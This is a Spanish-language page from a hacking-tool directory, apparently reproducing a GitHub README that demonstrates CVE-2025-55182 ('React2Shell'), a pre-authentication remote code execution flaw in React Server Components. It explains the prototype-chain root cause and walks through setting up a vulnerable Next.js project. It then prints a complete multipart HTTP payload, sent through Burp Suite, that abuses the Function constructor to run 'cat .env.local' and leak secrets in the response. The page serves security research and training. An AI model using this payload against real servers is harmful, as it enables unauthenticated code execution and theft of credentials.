Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
poc-cve-2025-55182 — Este repositorio contiene un PoC de CVE-2025-55182, una vulnerabilidad crítica (puntuación CVSS 10.0) de ejecución remota de código previo a la autenticación que afecta a React Server Components, también conocida como React2Shell. | Kitploit
Herramientas/GitHubGitHub/koadt/poc-cve-2025-55182
Análisis Dinámico (Sandboxing)Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHub
15313hace 6 mesesAún no revisado
koadt/poc-cve-2025-55182

poc-cve-2025-55182

Este repositorio contiene un PoC de CVE-2025-55182, una vulnerabilidad crítica (puntuación CVSS 10.0) de ejecución remota de código previo a la autenticación que afecta a React Server Components, también conocida como React2Shell.

Ver RepositorioSitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 (React2Shell) - Prueba de Concepto

⚠️ ADVERTENCIA: Este repositorio es solo para fines educativos e investigación de seguridad. No use este exploit contra sistemas que no posea o para los que no tenga permiso explícito de prueba.

Resumen

Este repositorio contiene una demostración de prueba de concepto de CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código sin autenticación previa que afecta a React Server Components.

Puntuación CVSS: 10.0 (Crítica)

Versiones afectadas:

  • React Server Components 19.0.0, 19.1.0, 19.1.1 y 19.2.0
  • Paquetes: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack

Resumen de la Vulnerabilidad

CVE-2025-55182 es una vulnerabilidad de deserialización insegura en la implementación del protocolo Flight de React Server Components. La vulnerabilidad permite a atacantes no autenticados ejecutar código JavaScript arbitrario en el servidor mediante la creación de cargas maliciosas que explotan el recorrido de la cadena de prototipos y patrones inseguros de acceso a propiedades.

Causa Raíz

La vulnerabilidad surge de cómo React Server Components deserializa las cargas del protocolo Flight. Al procesar referencias a módulos, el código utiliza la notación de corchetes para acceder a propiedades (moduleExports[metadata[2]]), lo que recorre toda la cadena de prototipos de JavaScript. Esto permite a los atacantes hacer referencia a propiedades que no fueron exportadas explícitamente, incluyendo la propiedad constructor, que proporciona acceso al constructor global Function.

Al encadenar técnicas de contaminación de prototipos con los mecanismos internos de procesamiento de fragmentos de React, un atacante puede construir una carga que finalmente ejecute código arbitrario a través del constructor Function.

Requisitos Previos

  • Burp Suite Community o Professional (o cualquier proxy/cliente HTTP)
  • Una versión vulnerable de React.js o Next.js

Instrucciones de Configuración

Paso 1: Crear un Proyecto Vulnerable

Cree un nuevo proyecto usando una versión que incluya los React Server Components vulnerables:

npx [email protected] poc-react2shell
cd poc-react2shell

O use este repositorio.

Paso 2: Crear un Archivo de Entorno de Prueba

Cree un archivo .env.local en la raíz del proyecto para demostrar el impacto de la vulnerabilidad:

SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Paso 3: Iniciar el Servidor de Desarrollo

Inicie el servidor de desarrollo de Next.js:

npm run dev

El servidor debería iniciarse en http://localhost:3000.

Pasos de Explotación

Paso 4: Enviar la Carga Maliciosa

  1. En Burp Suite, vaya a la pestaña Repeater
  2. Establezca la URL de destino como http://localhost:3000/
  3. Copie y pegue toda la carga en la ventana de solicitud
  4. Enviar
Haga clic para expandir
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Paso 5: Analizar la Respuesta

La respuesta debería contener el contenido de su archivo .env.local en el cuerpo de la respuesta:

Respuesta

Carga

La carga consiste en tres campos de formulario multipart:

  • Campo 0: Un objeto de fragmento falso que contiene:
    • Referencias de contaminación de prototipos ($1:__proto__:then)
    • Una referencia Blob ($B1337) que desencadena el exploit
    • Un objeto _response contaminado con _prefix y _formData.get maliciosos
  • Campo 1: Una referencia al campo 0 ($@0)
  • Campo 2: Un arreglo vacío ([])

El código malicioso en _prefix lee .env.local usando child_process.execSync de Node.js e incrusta el resultado en un resumen de error.

Impacto

Esta vulnerabilidad permite a los atacantes:

  • Ejecutar código arbitrario en el servidor
  • Leer archivos sensibles (variables de entorno, archivos de configuración, etc.)
  • Establecer shells inversas
  • Exfiltrar datos
  • Realizar cualquier operación que el proceso Node.js tenga permisos para ejecutar

Referencias

  • Detalles de CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • Aviso de Seguridad de React
  • Aviso de Seguridad de Facebook
  • Catálogo de Vulnerabilidades Explotadas Conocidas de CISA
  • react2shellcve202555182

Practique este CVE en un escenario real

¿Quiere explotar CVE-2025-55182 en un entorno CTF práctico? Eche un vistazo a OSS OopsSec Store, un laboratorio deliberadamente vulnerable diseñado para entrenamiento en seguridad ofensiva. ¡Este CVE está implementado como una de las banderas!


Descargo de Responsabilidad

Esta prueba de concepto se proporciona solo con fines educativos e investigación de seguridad. Siempre asegúrese de tener permiso explícito por escrito antes de probar vulnerabilidades de seguridad en cualquier sistema.

Descargar herramienta